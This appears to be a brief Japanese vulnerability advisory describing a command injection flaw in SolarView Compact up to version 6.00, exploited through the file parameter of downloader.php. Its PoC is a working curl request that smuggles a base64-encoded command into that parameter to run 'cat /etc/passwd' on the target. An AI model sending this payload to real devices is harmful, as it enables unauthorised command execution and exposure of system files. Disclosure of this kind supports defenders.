概要:

SolarView Compact 6.00 以前には、downloader.php を介して内部制限を回避し、コマンドを実行できるコマンドインジェクションの脆弱性があります。

ベンダー:

• SolarView Compact

影響を受ける製品:

• SolarView Compact

バージョン:

• SolarView Compact <=ver 6.00

PoC:

curl http://example.com/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg==|base64%20-d|bash%00.zip | grep root:.*:0:0

詳細:

downloader.php ページの file パラメータにアクセスすることで、内部制限をバイパスしてコマンドを注入できます。